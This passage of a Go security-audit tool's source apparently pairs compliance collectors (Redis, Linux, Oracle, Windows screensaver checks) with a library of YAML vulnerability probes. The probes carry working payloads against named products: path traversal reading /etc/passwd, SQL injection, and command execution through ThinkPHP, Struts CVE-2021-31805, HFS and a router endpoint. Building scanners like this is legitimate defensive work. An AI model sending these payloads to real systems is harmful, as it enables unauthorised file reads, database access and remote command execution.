5 | - /svpn_html/loadfile.php?file=/etc/./passwd
6 | expression:
7 | status: 200
8 | body_all:
9 | - "root:"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-skzyqyxxgl-Diretory.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-时空智友企业信息管理-Diretory
2 | description: "读取任意文件"
3 | method: POST
4 | body: "op=verify%7Clogin&targetpage=&errorpage=WEB-INF/web.xml&mark=&tzo=480&username=admin&password=admin"
5 | headers:
6 | Content-Type: "application/x-www-form-urlencoded"
7 | path:
8 | - /login
9 | expression:
10 | status: 200
11 | body_all:
12 | - "index.html"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-skzyqyxxgl-sql.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-时空智友企业信息管理-sql
2 | description: "SQL注入"
3 | method: POST
4 | headers:
5 | Content-Type: "application/json"
6 | body: >
7 | {"params": {"a": "1"}, "sql": "select 262214"}
8 | path:
9 | - /formservice?service=workflow.sqlResult
10 | expression:
11 | status: 200
12 | body_all:
13 | - "262214"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-springboot-env-unauth.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-Springboot-env-unauth
2 | description: "springboot未授权访问"
3 | method: GET
4 | path:
5 | - /env
6 | - /actuator/env
7 | expression:
8 | status: 200
9 | body_all:
10 | - "version"
11 | - "arch"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-struts-cve_2021_31805.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-struts-cve_2021_31805
2 | description: "可任意执行命令"
3 | method: POST
4 | body: "------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF—"
5 | headers:
6 | Content-Type: "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"
7 | Cache-Control: "max-age=0"
8 | Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
9 | path:
10 | - /
11 | expression:
12 | status: 200
13 | body_all:
14 | - "root:x:0:0:"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-szycms-sql.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-狮子鱼CMS-sql
2 | description: "sql注入"
3 | method: GET
4 | path:
5 | - /index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)
6 | expression:
7 | status: 200
8 | body_any:
9 | - "localhost"
10 | - "XPATH syntax error"
11 | - "系统发生错误"
12 |
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-tdsql-leak.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-腾讯-TDSQL-leak
2 | description: "数据库信息泄露"
3 | method: GET
4 | path:
5 | - /tdsqlpcloud/index.php/api/install/get_db_info
6 | expression:
7 | status: 200
8 | body_all:
9 | - "ip"
10 | - "port"
11 | - "user"
12 | - "pwd"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-thinkphp-3.x.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-thinkphp-3.x-日志泄露
2 | description: "可基于thinkphp泄露的日志获得敏感日志"
3 | method: GET
4 | path:
5 | - /Application/Runtime/Logs/Home/{01_01_01}.log
6 | expression:
7 | status: 200
8 | body_any:
9 | - "INFO"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-thinkphp-5.0.23-rce.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-thinkphp-5.0.23-rce
2 | description: "可基于thinkphp的debug执行任意命令,"
3 | method: POST
4 | body: "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id"
5 | path:
6 | - /index.php?s=captcha
7 | headers:
8 | Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
9 | expression:
10 | status: 404
11 | body_any:
12 | - "uid"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-tongda-sql.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-通达OA-sql
2 | description: "sql注入"
3 | method: GET
4 | path:
5 | - /share/handle.php?_GET[module]=1%27+and+1={`=%27`+1}+and+1=0+union+select+(select/**/user())--+%27
6 | expression:
7 | status: 200
8 | body_all:
9 | - "status"
10 | - "short_url"
11 |
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-tqhm-vpn-Directory.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-天清汉马VPN-Directory
2 | description: "任意文件读取"
3 | method: GET
4 | path:
5 | - /vpn/user/download/client?ostype=../../../../../../../../../etc/passwd
6 | expression:
7 | status: 200
8 | body_any:
9 | - "root:"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-twwy-erp-Directory.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-天问物业ERP系统-Directory
2 | description: "任意文件读取"
3 | method: GET
4 | path:
5 | - /HM/M_Main/InformationManage/AreaAvatarDownLoad.aspx?AreaAvatar=../web.config
6 | expression:
7 | status: 200
8 | body_any:
9 | - "version"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-wanhuoa-unauth.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-万户OA-unatuh
2 | description: "万户OA获取所有账户密码"
3 | method: GET
4 | path:
5 | - /defaultroot/evoInterfaceServlet?paramType=user
6 | expression:
7 | status: 200
8 | body_any:
9 | - "userList"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-website-backup-download.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-website-backup-download
2 | description: "备份文件下载"
3 | alwaysExecute: true
4 | method: GET
5 | path:
6 | - "/backup.tar.gz"
7 | - "/backup.zip"
8 | - "/backup.sql"
9 | - "/backup.rar"
10 | - "/backup.bak"
11 | - "/.git/HEAD"
12 | - "/.svn/entries"
13 | - "/.hg/dirstate"
14 | - "/.DS_Store"
15 | - "/.htaccess"
16 | - "/.htpasswd"
17 | - "/web.config"
18 | - "/db/backup.db"
19 | - "/db/backup.sql"
20 | - ".log"
21 | -
22 | expression:
23 | status: 200
24 | content_type: "application/octet-stream"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-wyxy-sql.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-网御星云-上网行为管理系统-sql
2 | description: "sql注入"
3 | method: GET
4 | path:
5 | - /bottomframe.cgi?user_name=%27))%20union%20select%20md5(1)%23
6 | expression:
7 | status: 200
8 | body_all:
9 | - "c4ca4238a0b923820dcc509a6f75849b"
10 |
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-yongyou-GRP-U8-leak.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-用友GRP-U8-leak
2 | description: "敏感信息泄露"
3 | method: GET
4 | path:
5 | - /logs/info.log
6 | expression:
7 | status: 200
8 | body_all:
9 | - "INFO"
10 | - "write"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-yongyou-GRP-U8-sql.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-用友GRP-U8-sql
2 | description: "sql注入"
3 | method: POST
4 | headers:
5 | Content-Type: " application/x-www-form-urlencoded"
6 | body: >
7 | userName=';WAITFOR DELAY '0:0:3'--&ysnd=&historyFlag=
8 | path:
9 | - /u8qx/bx_historyDataCheck.jsp
10 | expression:
11 | status: 200
12 | sleep: 3
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-yongyou-KSOA-sql.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-用友-时空KSOA-sql
2 | description: "SQL注入"
3 | method: GET
4 | path:
5 | - /servlet/imagefield?key=readimage&sImgname=password&sTablename=bbs_admin&sKeyname=id&sKeyvalue=-1%27;WAITFOR%20DELAY%20%270:0:4%27--
6 | expression:
7 | status: 200
8 | sleep: 4
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-yongyou-nc-BshServlet-cmd.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-用友nc-BshServlet-cmd
2 | description: "BeanShell执行任意命令(exec)"
3 | method: GET
4 | path:
5 | - /servlet/~ic/bsh.servlet.BshServlet
6 | expression:
7 | status: 200
8 | body_any:
9 | - "BeanShell"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-yongyou-nc-Directory.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-用友nc-Directory
2 | description: "可进行目录遍历"
3 | method: GET
4 | path:
5 | - /NCFindWeb?service=IPreAlertConfigService&filename=
6 | expression:
7 | status: 200
8 | body_any:
9 | - "jsp"
10 | - "XML"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-yongyou-ydxtgl-leak.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-用友-移动系统管理-unauth
2 | description: "未授权访问"
3 | method: GET
4 | path:
5 | - /maportal/
6 | expression:
7 | status: 200
8 | body_any:
9 | - "欢迎你"
10 | - "管理员"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-yongyou-ydxtgl-sql.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-用友-移动系统管理-sql
2 | description: "sql注入"
3 | method: POST
4 | body: "appname=1&sys_type=&loginmode=&joinmode="
5 | headers:
6 | Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
7 | path:
8 | - /maportal/appmanager/init
9 | expression:
10 | status: 200
11 | body_all:
12 | - "productlist"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-yst-Directory.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-亿赛通-电子文档安全管理系统-Directory
2 | description: "任意文件读取"
3 | method: GET
4 | path:
5 | - /CDGServer3/client/;login;/DecryptApplication?command=ViewUploadFile&filePath=C://Windows/win.ini&uploadFileId=1&fileName1=1
6 | expression:
7 | status: 200
8 | body_all:
9 | - "Mail"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-zgyd-route-unauth.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-中国移动-禹路由-unauth
2 | description: "登录绕过"
3 | method: GET
4 | path:
5 | - /simple-index.asp
6 | expression:
7 | status: 200
8 | body_all:
9 | - "无线设置"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yuaml-BYTEVALUE -cmd.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-智能流控路由器-cmd
2 | description: "任意命令执行"
3 | method: GET
4 | path:
5 | - /goform/webRead/open/?path=|id
6 | expression:
7 | status: 200
8 | body_all:
9 | - "uid="
10 |
--------------------------------------------------------------------------------
/poc/yaml-poc/yaml-poc-HFS-cmd.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-HFS-cmd
2 | description: "任意命令执行"
3 | method: GET
4 | path:
5 | - "/?n=%0A&cmd=ipconfig+&search=%25x%25url%25:%user%}{.exec|{.?cmd.}|timeout=15|out=output.}{.?n.}{.?n.}RESULT:{.?n.}^====^{.?n.}{.^output.}^====^{.?n.}"
6 | expression:
7 | status: 200
8 | body_all:
9 | - "DNS"
10 | - "IPv4"
--------------------------------------------------------------------------------
/poc/yaml.go:
--------------------------------------------------------------------------------
1 | package poc
2 |
3 | import (
4 | "embed"
5 | "gopkg.in/yaml.v2"
6 | "io/fs"
7 | "strings"
8 | "time"
9 | )
10 |
11 | //go:embed yaml-poc/*.yaml
12 | var yamlFS embed.FS
13 |
14 | type Config struct {
15 | Name string `yaml:"name"` //漏洞名称
16 | Description string `yaml:"description"` //漏洞描述
17 | Method string `yaml:"method"` //请求类型
18 | Path []string `yaml:"path"` //请求路径
19 | Body string `yaml:"body"` //发送值
20 | Headers map[string]string `yaml:"headers"` //设置Headers
21 | Expression Expression `yaml:"expression"` //返回值
22 | AlwaysExecute bool `yaml:"alwaysExecute"` //是否直接执行不考虑app等组件
23 | Timeout time.Duration `yaml:"timeout"` //等待时常
24 | }
25 |
26 | type Expression struct {
27 | Status int `yaml:"status"` //返回的状态码
28 | ContentType string `yaml:"content_type"` //返回头
29 | BodyALL []string `yaml:"body_all"` //必须包含所有特征
30 | BodyAny []string `yaml:"body_any"` //包含任意特征
31 | Time float64 `yaml:"sleep"` //总共耗时
32 | }
33 |
34 | // parseConfigs 解析yaml文件
35 | func parseConfigs(dir string) ([]Config, error) {
36 | var configs []Config
37 |
38 | dirEntries, err := fs.ReadDir(yamlFS, dir)
39 | if err != nil {
40 | return nil, err
41 | }
42 |
43 | for _, entry := range dirEntries {
44 | if !entry.IsDir() && strings.HasSuffix(strings.ToLower(entry.Name()), ".yaml") {
45 | data, err := fs.ReadFile(yamlFS, dir+"/"+entry.Name())
46 | if err != nil {
47 | return nil, err
48 | }
49 |
50 | var config Config
51 | err = yaml.Unmarshal(data, &config)
52 | if err != nil {
53 | return nil, err
54 | }
55 |
56 | configs = append(configs, config)
57 | }
58 | }
59 |
60 | return configs, nil
61 | }
62 |
--------------------------------------------------------------------------------
/run/Redis.go:
--------------------------------------------------------------------------------
1 | package run
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "github.com/go-redis/redis/v8"
7 | "github.com/spf13/cobra"
8 | "golin/global"
9 | "os"
10 | "path/filepath"
11 | "regexp"
12 | "strings"
13 | "time"
14 | )
15 |
16 | func Redis(cmd *cobra.Command, args []string) {
17 | //获取分隔符,默认是||
18 | spr, err := cmd.Flags().GetString("spript")
19 | if err != nil {
20 | fmt.Println(err)
21 | return
22 | }
23 | //如果value值不为空则是运行一次的模式
24 | value, err := cmd.Flags().GetString("value")
25 | if err != nil {
26 | fmt.Println(err)
27 | return
28 | }
29 | if len(value) > 10 {
30 | Onlyonerun(value, spr, "Redis")
31 | wg.Wait()
32 | zlog.Info("单次运行Redis模式结束!")
33 | return
34 | }
35 | //下面是多线程的模式
36 | ippath, err := cmd.Flags().GetString("ip")
37 | if err != nil {
38 | fmt.Println(err)
39 | return
40 | }
41 | //判断redis.txt文件是否存在
42 | Checkfile(ippath, fmt.Sprintf("名称%sip%s用户%s密码%s端口", Split, Split, Split, Split), global.FilePer, ippath)
43 |
44 | // 运行share文件中的函数
45 | Rangefile(ippath, spr, "Redis")
46 | wg.Wait()
47 | //完成前最后写入文件
48 | Deffile("Redis", count, count-len(errhost), errhost)
49 |
50 | }
51 |
52 | func Runredis(myname, myuser, myhost, mypasswd, myport1 string) {
53 | defer wg.Done()
54 | Port := strings.Replace(myport1, "\r", "", -1)
55 | ctx := context.Background()
56 | adr := myhost + ":" + Port
57 | //如果为user=null则改为空密码,web功能会用到此功能
58 | if myuser == "null" {
59 | myuser = ""
60 | }
61 | client := redis.NewClient(&redis.Options{
62 | Addr: adr,
63 | Username: myuser,
64 | Password: mypasswd,
65 | DB: 0,
66 | DialTimeout: 1 * time.Second,
67 | MinRetryBackoff: 1 * time.Second,
68 | ReadTimeout: 1 * time.Second,
69 | })
70 | _, err := client.Ping(ctx).Result()
71 | if err != nil {
72 | errhost = append(errhost, myhost)
73 | return
74 | }
75 |
76 | pullpath := filepath.Join(succpath, "Redis")
77 | _, err = os.Stat(pullpath)
78 | if os.IsNotExist(err) {
79 | os.MkdirAll(pullpath, os.FileMode(global.FilePer))
80 | }
81 | fire := filepath.Join(pullpath, fmt.Sprintf("%s_%s.html", myname, myhost))
82 | os.Remove(fire)
83 | html := redishtml()
84 |
85 | // 整体info信息
86 | infoStr := client.Info(ctx).Val()
87 | infoStr = strings.ReplaceAll(infoStr, "\r\n", "\n")
88 | infoStr = strings.ReplaceAll(infoStr, "\n", "
")
89 | html = strings.ReplaceAll(html, "info信息详细信息", fmt.Sprintf("%s
", infoStr))
90 |
91 | // 创建一个正则表达式对象,用来匹配redis_version
92 | version := ""
93 | re := regexp.MustCompile(`redis_version:([\d\.]+)`)
94 | matches := re.FindStringSubmatch(infoStr)
95 | if len(matches) > 1 {
96 | version = matches[1]
97 | }
98 |
99 | client.Get(ctx, "config").Val()
100 | ipaddr := client.ConfigGet(ctx, "bind").Val()
101 | lofile := client.ConfigGet(ctx, "logfile").Val()
102 | loglevel := client.ConfigGet(ctx, "loglevel").Val()
103 | pass := client.ConfigGet(ctx, "requirepass").Val()
104 | redistimout := client.ConfigGet(ctx, "timeout").Val()
105 | redisport := client.ConfigGet(ctx, "port").Val()
106 | redissslport := client.ConfigGet(ctx, "tls-port").Val()
107 | aclfile := client.ConfigGet(ctx, "aclfile").Val()
108 | protocols := client.ConfigGet(ctx, "tls-protocols").Val()
109 |
110 | //执行自定义命令,获取用户信息
111 | users, err := client.Do(ctx, "ACL", "LIST").StringSlice()
112 | if err == nil {
113 | if len(users) > 0 {
114 | userechho := ""
115 | userechho += fmt.Sprintf("aclfile存储路径:%s
", aclfile)
116 | for _, user := range users {
117 | userechho += user + "
"
118 | }
119 | html = strings.ReplaceAll(html, "acluser信息详细信息", userechho)
120 | }
121 | }
122 |
123 | aclcount := client.ConfigGet(ctx, "acllog-max-len").Val()
124 | //log := client.Do(ctx, "ACL", "LOG").Val()
125 | // 基本信息
126 | html = strings.ReplaceAll(html, "基本信息详细信息", fmt.Sprintf("%s | %s | %s |
", version, ipaddr[1], pass[1]))
127 | // 超时及失败信息
128 | html = strings.ReplaceAll(html, "超时时间详细信息", fmt.Sprintf("%s | %s |
", redistimout[1], "默认无此功能"))
129 | // 端口信息
130 | if len(redissslport) == 2 {
131 | html = strings.ReplaceAll(html, "端口信息详细信息", fmt.Sprintf("%s | %s | %s |
", redisport[1], redissslport[1], protocols[1]))
132 | } else {
133 | html = strings.ReplaceAll(html, "端口信息详细信息", fmt.Sprintf("%s | %s | %s |
", redisport[1], redissslport, protocols))
134 | }
135 | // 日志信息
136 | if len(aclcount) == 2 {
137 | html = strings.ReplaceAll(html, "日志信息详细信息", fmt.Sprintf("%s | %s | %s |
", lofile[1], loglevel[1], aclcount[1]))
138 | } else {
139 | html = strings.ReplaceAll(html, "日志信息详细信息", fmt.Sprintf("%s | %s | %s |
", lofile[1], loglevel[1], aclcount))
140 | }
141 |
142 | html = strings.ReplaceAll(html, "替换名称", adr)
143 |
144 | os.WriteFile(fire, []byte(html), os.FileMode(global.FilePer))
145 |
146 | }
147 |
--------------------------------------------------------------------------------
/run/global.go:
--------------------------------------------------------------------------------
1 | package run
2 |
3 | import (
4 | "embed"
5 | "html/template"
6 | )
7 |
8 | //go:embed template/linux_html.html
9 | var templateFile embed.FS
10 |
11 | //go:embed template/oracle_html.html
12 | var templateFileOracle embed.FS
13 |
14 | //go:embed template/styles.css
15 | var css template.CSS
16 |
--------------------------------------------------------------------------------
/run/linux.go:
--------------------------------------------------------------------------------
1 | package run
2 |
3 | import (
4 | "fmt"
5 | "github.com/spf13/cobra"
6 | "go.uber.org/zap"
7 | "golin/global"
8 | "os"
9 | "path"
10 | "strings"
11 | )
12 |
13 | var (
14 | echorun bool
15 | sudorun bool
16 | )
17 |
18 | func Linux(cmd *cobra.Command, args []string) {
19 | _ = global.MkdirAll(path.Join("采集完成目录", "Linux"))
20 | //是否sudo权限执行
21 | sudo, err := cmd.Flags().GetBool("sudo")
22 | if err != nil {
23 | fmt.Println(err)
24 | return
25 | }
26 | sudorun = sudo
27 |
28 | //确认结果是否输出
29 | echotype, err := cmd.Flags().GetBool("echo")
30 | if err != nil {
31 | fmt.Println(err)
32 | return
33 | }
34 | //是否输出记录内容
35 | echorun = echotype
36 | spr, err := cmd.Flags().GetString("spript")
37 | if err != nil {
38 | fmt.Println(err)
39 | return
40 | }
41 | cmdpath, err := cmd.Flags().GetString("cmd")
42 | if err != nil {
43 | fmt.Println(err)
44 | return
45 | }
46 | //如果cmdpath不为空,则判断是不是存在,存在则读取出来写入到runcmd变量中,为空则使用 Linux_cmd函数中的默认命令
47 | if len(cmdpath) > 0 {
48 | _, err := os.Stat(cmdpath)
49 | if os.IsNotExist(err) {
50 | zlog.Warn("自定义执行命令文件不存在!", zap.String("文件", cmdpath))
51 | os.Exit(3)
52 | }
53 | fire, _ := os.ReadFile(cmdpath)
54 | runcmd = string(fire)
55 | //新增: 去掉文件中的换行符,最后一个不是;自动增加然后保存成一条命令
56 | newcmd := ""
57 | checkcmd := strings.Split(runcmd, "\n")
58 | for i := 0; i < len(checkcmd); i++ {
59 | checkend := checkcmd[i]
60 | checkend = strings.Replace(checkend, "\r", "", -1)
61 | if len(checkend) == 0 {
62 | continue
63 | }
64 | if checkend[len(checkend)-1:] == ";" {
65 | newcmd += checkend
66 | } else {
67 | newcmd += checkend + ";"
68 | }
69 | }
70 | if newcmd != "" {
71 | runcmd = newcmd
72 | }
73 | }
74 |
75 | //判断是否有自定义执行的命令,如果有则处理他,不执行cmd文件中的命令。
76 | cmdvalue, err := cmd.Flags().GetString("cmdvalue")
77 | if err != nil {
78 | fmt.Println(err)
79 | return
80 | }
81 | if len(cmdvalue) > 0 {
82 | runcmd = string(cmdvalue)
83 | }
84 | //判断是不是本机执行的模式,
85 | localhosttype, err := cmd.Flags().GetBool("localhost")
86 | if err != nil {
87 | fmt.Println(err)
88 | return
89 | }
90 | if localhosttype {
91 | LocalrunLinux()
92 | return
93 | }
94 |
95 | //如果value值不为空则是运行一次的模式
96 | value, err := cmd.Flags().GetString("value")
97 | if err != nil {
98 | fmt.Println(err)
99 | return
100 | }
101 | if len(value) > 10 {
102 | Onlyonerun(value, spr, "Linux")
103 | wg.Wait()
104 | return
105 | }
106 | // 下面开始执行批量的
107 | ippath, err := cmd.Flags().GetString("ip")
108 | if err != nil {
109 | fmt.Println(err)
110 | return
111 | }
112 | //判断linux.txt文件是否存在
113 | Checkfile(ippath, fmt.Sprintf("名称%sip%s用户%s密码%s端口", Split, Split, Split, Split), global.FilePer, ippath)
114 | // 运行share文件中的函数
115 | Rangefile(ippath, spr, "Linux")
116 | wg.Wait()
117 | //完成前最后写入文件
118 | Deffile("Linux", count, count-len(errhost), errhost)
119 | }
120 |
--------------------------------------------------------------------------------
/run/navicat/navicat_linux.go:
--------------------------------------------------------------------------------
1 | //go:build linux
2 |
3 | package navicat
4 |
5 | import "github.com/spf13/cobra"
6 |
7 | func Run(cmd *cobra.Command, args []string) { return }
8 |
--------------------------------------------------------------------------------
/run/oracle_struct.go:
--------------------------------------------------------------------------------
1 | package run
2 |
3 | import (
4 | "database/sql"
5 | "html/template"
6 | )
7 |
8 | type DataOracle struct {
9 | CSS template.CSS //css样式
10 | Name string //名称
11 | Version []string //版本信息
12 | UserInfo []SysUser //sys.user视图数据
13 | ListParameter []Parameter //部分安全配置策略
14 | DBAUSERS []DBA_USERS //DBA_USERS信息
15 | PasswdVerify []VerifyFunc //配置文件的密码策略规则
16 | SYSTEMAUTHORITY []AUTHORITY //系统权限
17 | ObjectPermissions []AUTHORITY //对象权限
18 | AuditPARAMETER []Audit //审计配置
19 | IdleTime []TimeoutidleTime //超时
20 | FuncPass []DbaSource //数据库中所有函数
21 | }
22 |
23 | type SysUser struct {
24 | UserNum sql.NullInt64 `db:"USER#"`
25 | Name sql.NullString `db:"NAME"`
26 | TypeNum sql.NullInt64 `db:"TYPE#"`
27 | Password sql.NullString `db:"PASSWORD"`
28 | CTime sql.NullTime `db:"CTIME"`
29 | PTime sql.NullTime `db:"PTIME"`
30 | ExpTime sql.NullTime `db:"EXPTIME"`
31 | LTime sql.NullTime `db:"LTIME"`
32 | }
33 |
34 | type DBA_USERS struct {
35 | User string `db:"USERNAME"`
36 | Profile string `db:"PROFILE"`
37 | Status string `db:"ACCOUNT_STATUS"`
38 | Expiry sql.NullTime `db:"EXPIRY_DATE"`
39 | LockTime sql.NullTime `db:"LOCK_DATE"`
40 | CreateTime sql.NullTime `db:"CREATED"`
41 | }
42 |
43 | type Parameter struct {
44 | Name string `db:"NAME"`
45 | Value string `db:"VALUE"`
46 | }
47 |
48 | type VerifyFunc struct {
49 | Profile string
50 | Resp string
51 | Type string
52 | Limit string
53 | }
54 |
55 | type AUTHORITY struct {
56 | Name string
57 | Privilege string
58 | Opthion string
59 | }
60 |
61 | type Audit struct {
62 | NAME string
63 | VALUE sql.NullString `db:"VALUE"`
64 | ISSES_MODIFIABLE string
65 | ISSYS_MODIFIABLE string
66 | ISINSTANCE_MODIFIABLE string
67 | DESCRIPTION string
68 | }
69 |
70 | type TimeoutidleTime struct {
71 | Profile string
72 | ResourceNam string
73 | Limit string
74 | }
75 |
76 | type DbaSource struct {
77 | OWNER string
78 | NAME string
79 | LINE int
80 | TEXT string
81 | }
82 |
--------------------------------------------------------------------------------
/run/template/styles.css:
--------------------------------------------------------------------------------
1 | body {
2 | display: grid;
3 | grid-template-columns: 1fr 200px;
4 | gap: 10px;
5 | font-family: Arial, sans-serif;
6 | position: relative;
7 | }
8 |
9 | table {
10 | border-collapse: collapse;
11 | margin-bottom: 20px;
12 | width: 100%;
13 | box-shadow: 0 1px 2px rgba(0, 0, 0, 0.1);
14 | table-layout: fixed;
15 | word-wrap: break-word;
16 | }
17 |
18 | th,
19 | td {
20 | border: 1px solid #ddd;
21 | padding: 15px;
22 | text-align: left;
23 | }
24 |
25 | th {
26 | background-color: #007BFF;
27 | color: white;
28 | font-weight: bold;
29 | }
30 |
31 | tr:nth-child(even) {
32 | background-color: #f9f9f9;
33 | }
34 |
35 | tr:hover {
36 | background-color: #e6f2ff;
37 | }
38 |
39 | .watermark {
40 | font-size: 36px;
41 | color: rgba(128, 128, 128, 0.2);
42 | position: absolute;
43 | z-index: -1;
44 | transform: rotate(-30deg);
45 | }
46 |
47 | #toc {
48 | position: fixed;
49 | top: 20px;
50 | right: 30px;
51 | padding-left: 10px;
52 | background-color: #f8f9fa;
53 | padding: 10px;
54 | border: 1px solid #dee2e6;
55 | border-radius: 5px;
56 | box-shadow: 0 1px 2px rgba(0, 0, 0, 0.1);
57 | height: calc(100% - 40px); /* 考虑到 top 的 20px 和底部的留白 20px */
58 | overflow-y: auto; /* 滚动条 */
59 | width: 150px; /* 目录宽度 */
60 | max-height: 600px;
61 | }
62 |
63 | #toc ul {
64 | list-style-type: none;
65 | padding: 0;
66 | margin: 0;
67 | }
68 |
69 | #toc a {
70 | text-decoration: none;
71 | color: #333;
72 | display: block;
73 | word-wrap: break-word; /* 如果单词超过容器宽度,允许在单词内部换行 */
74 | overflow-wrap: break-word; /* 同上,但更好的兼容性 */
75 | }
76 |
77 | #toc a:hover {
78 | color: #25fa8c;
79 | }
80 | .watermark {
81 | font-size: 36px;
82 | color: rgba(128, 128, 128, 0.2);
83 | position: absolute;
84 | z-index: 1000;
85 | transform: rotate(-30deg);
86 | }
87 | pre {
88 | background-color: #f8f9fa;
89 | border: 1px solid #dee2e6;
90 | padding: 15px;
91 | border-radius: 5px;
92 | overflow-x: auto;
93 | font-family: "Courier New", Courier, monospace;
94 | white-space: pre-wrap;
95 | word-break: break-word;
96 | }
97 | .permissions {
98 | width: 350px;
99 | white-space: nowrap;
100 | overflow-x: auto;
101 | }
102 |
103 | a:visited {
104 | color: #ffffff;
105 | }
106 |
--------------------------------------------------------------------------------
/run/windows/Screen.go:
--------------------------------------------------------------------------------
1 | //go:build windows
2 |
3 | package windows
4 |
5 | import (
6 | "fmt"
7 | "strconv"
8 | "strings"
9 | )
10 |
11 | // screen 屏保相关
12 | func screen() {
13 | echo := fmt.Sprintf("%s | %s | %s | %s |
", "检查屏幕保护开启状态", "未开启", No, "开启并配置等待时间不高于10分钟")
14 | //查询是否开启屏保
15 | v, err := regedt(`Control Panel\Desktop`, "SCRNSAVE.EXE")
16 | if err == nil {
17 | v, err = regedt(`Control Panel\Desktop`, "ScreenSaveTimeOut")
18 | if err == nil {
19 | intv, _ := strconv.Atoi(v)
20 | if intv <= 600 {
21 | echo = fmt.Sprintf("%s | %s | %s | %s |
", "检查屏幕保护开启状态", "已开启", Yes, "开启并配置等待时间不高于10分钟")
22 | echo += fmt.Sprintf("%s | %s(秒) | %s | %s |
", "检查屏幕保护等待时间", v, Yes, "等待时间不高于10分钟")
23 | }
24 | }
25 | v, err = regedt(`Control Panel\Desktop`, "ScreenSaverIsSecure")
26 | if err == nil {
27 | intv, _ := strconv.Atoi(v)
28 | if intv > 0 {
29 | echo += fmt.Sprintf("%s | %s | %s | %s |
", "检查在恢复时显示登录界面", "已开启", Yes, "开启")
30 | }
31 | if intv == 0 {
32 | echo += fmt.Sprintf("%s | %s | %s | %s |
", "检查在恢复时显示登录界面", "未启用", No, "开启")
33 | }
34 | }
35 | }
36 | html = strings.ReplaceAll(html, "屏幕保护相关结果", echo)
37 | }
38 |
--------------------------------------------------------------------------------
/run/windows/auditd.go:
--------------------------------------------------------------------------------
1 | //go:build windows
2 |
3 | package windows
4 |
5 | import (
6 | "fmt"
7 | "regexp"
8 | "strings"
9 | )
10 |
11 | func auditd() {
12 | var auditlist []Policyone
13 | one := Policyone{}
14 | for key, value := range auditmap {
